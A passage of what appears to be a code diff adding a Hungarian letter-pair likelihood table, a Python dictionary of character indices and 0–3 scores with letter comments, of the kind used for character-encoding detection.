40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 3, # 'c' + 17: 3, # 'd' + 1: 3, # 'e' + 27: 2, # 'f' + 12: 3, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 3, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 2, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 3, # 'v' + 62: 1, # 'x' + 16: 2, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 3, # 'ó' + 24: 3, # 'ö' + 31: 3, # 'ú' + 29: 3, # 'ü' + 42: 2, # 'ő' + 56: 2, # 'ű' + }, + 5: { # 's' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 2, # 'c' + 17: 2, # 'd' + 1: 3, # 'e' + 27: 2, # 'f' + 12: 2, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 1, # 'j' + 7: 3, # 'k' + 6: 2, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 2, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 2, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 3, # 'í' + 25: 3, # 'ó' + 24: 3, # 'ö' + 31: 3, # 'ú' + 29: 3, # 'ü' + 42: 2, # 'ő' + 56: 1, # 'ű' + }, + 3: { # 't' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 2, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 2, # 'f' + 12: 1, # 'g' + 20: 3, # 'h' + 9: 3, # 'i' + 22: 3, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 3, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 3, # 'ó' + 24: 3, # 'ö' + 31: 3, # 'ú' + 29: 3, # 'ü' + 42: 3, # 'ő' + 56: 2, # 'ű' + }, + 21: { # 'u' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 2, # 'b' + 26: 2, # 'c' + 17: 3, # 'd' + 1: 2, # 'e' + 27: 1, # 'f' + 12: 3, # 'g' + 20: 2, # 'h' + 9: 2, # 'i' + 22: 2, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 1, # 'o' + 23: 2, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 1, # 'u' + 19: 3, # 'v' + 62: 1, # 'x' + 16: 1, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 2, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 0, # 'ö' + 31: 1, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 19: { # 'v' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 2, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 3, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 1, # 'r' + 5: 2, # 's' + 3: 2, # 't' + 21: 2, # 'u' + 19: 2, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 2, # 'ó' + 24: 2, # 'ö' + 31: 1, # 'ú' + 29: 2, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 62: { # 'x' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 0, # 'd' + 1: 1, # 'e' + 27: 1, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 1, # 'i' + 22: 0, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 1, # 'o' + 23: 1, # 'p' + 10: 1, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 0, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 16: { # 'y' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 2, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 2, # 'f' + 12: 2, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 2, # 'j' + 7: 2, # 'k' + 6: 2, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 2, # 'p' + 10: 2, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 2, # 'ó' + 24: 3, # 'ö' + 31: 2, # 'ú' + 29: 2, # 'ü' + 42: 1, # 'ő' + 56: 2, # 'ű' + }, + 11: { # 'z' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 2, # 'b' + 26: 1, # 'c' + 17: 3, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 2, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 1, # 'j' + 7: 3, # 'k' + 6: 2, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 2, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 3, # 'í' + 25: 3, # 'ó' + 24: 3, # 'ö' + 31: 2, # 'ú' + 29: 3, # 'ü' + 42: 2, # 'ő' + 56: 1, # 'ű' + }, + 51: { # 'Á' + 28: 0, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 0, # 'E' + 50: 1, # 'F' + 49: 2, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 2, # 'L' + 34: 1, # 'M' + 35: 2, # 'N' + 47: 0, # 'O' + 46: 1, # 'P' + 43: 2, # 'R' + 33: 2, # 'S' + 37: 1, # 'T' + 57: 0, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 0, # 'e' + 27: 0, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 0, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 2, # 'l' + 13: 2, # 'm' + 4: 0, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 1, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 0, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 1, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 44: { # 'É' + 28: 0, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 1, # 'E' + 50: 0, # 'F' + 49: 2, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 2, # 'L' + 34: 1, # 'M' + 35: 2, # 'N' + 47: 0, # 'O' + 46: 1, # 'P' + 43: 2, # 'R' + 33: 2, # 'S' + 37: 2, # 'T' + 57: 0, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 0, # 'e' + 27: 0, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 0, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 2, # 'l' + 13: 1, # 'm' + 4: 2, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 3, # 's' + 3: 1, # 't' + 21: 0, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 0, # 'z' + 51: 0, # 'Á' + 44: 1, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 61: { # 'Í' + 28: 0, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 0, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 1, # 'J' + 36: 0, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 0, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 0, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 0, # 'e' + 27: 0, # 'f' + 12: 2, # 'g' + 20: 0, # 'h' + 9: 0, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 1, # 'm' + 4: 0, # 'n' + 8: 0, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 0, # 's' + 3: 1, # 't' + 21: 0, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 58: { # 'Ó' + 28: 1, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 0, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 2, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 0, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 0, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 0, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 2, # 'h' + 9: 0, # 'i' + 22: 0, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 1, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 1, # 'r' + 5: 1, # 's' + 3: 0, # 't' + 21: 0, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 1, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 59: { # 'Ö' + 28: 0, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 0, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 0, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 0, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 0, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 0, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 0, # 'i' + 22: 0, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 0, # 'o' + 23: 0, # 'p' + 10: 2, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 0, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 60: { # 'Ú' + 28: 0, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 0, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 0, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 0, # 'e' + 27: 0, # 'f' + 12: 2, # 'g' + 20: 0, # 'h' + 9: 0, # 'i' + 22: 2, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 0, # 'm' + 4: 1, # 'n' + 8: 0, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 0, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 0, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 63: { # 'Ü' + 28: 0, # 'A' + 40: 1, # 'B' + 54: 0, # 'C' + 45: 1, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 0, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 0, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 0, # 'c' + 17: 1, # 'd' + 1: 0, # 'e' + 27: 0, # 'f' + 12: 1, # 'g' + 20: 0, # 'h' + 9: 0, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 1, # 'n' + 8: 0, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 0, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 14: { # 'á' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 3, # 'b' + 26: 3, # 'c' + 17: 3, # 'd' + 1: 1, # 'e' + 27: 2, # 'f' + 12: 3, # 'g' + 20: 2, # 'h' + 9: 2, # 'i' + 22: 3, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 1, # 'o' + 23: 2, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 2, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 1, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 0, # 'ó' + 24: 1, # 'ö' + 31: 0, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 15: { # 'é' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 3, # 'b' + 26: 2, # 'c' + 17: 3, # 'd' + 1: 1, # 'e' + 27: 1, # 'f' + 12: 3, # 'g' + 20: 3, # 'h' + 9: 2, # 'i' + 22: 2, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 1, # 'o' + 23: 3, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 0, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 30: { # 'í' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 2, # 'c' + 17: 1, # 'd' + 1: 0, # 'e' + 27: 1, # 'f' + 12: 3, # 'g' + 20: 0, # 'h' + 9: 0, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 2, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 3, # 'r' + 5: 2, # 's' + 3: 3, # 't' + 21: 0, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 25: { # 'ó' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 2, # 'a' + 18: 3, # 'b' + 26: 2, # 'c' + 17: 3, # 'd' + 1: 1, # 'e' + 27: 2, # 'f' + 12: 2, # 'g' + 20: 2, # 'h' + 9: 2, # 'i' + 22: 2, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 8: 1, # 'o' + 23: 2, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 1, # 'u' + 19: 2, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 0, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 24: { # 'ö' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 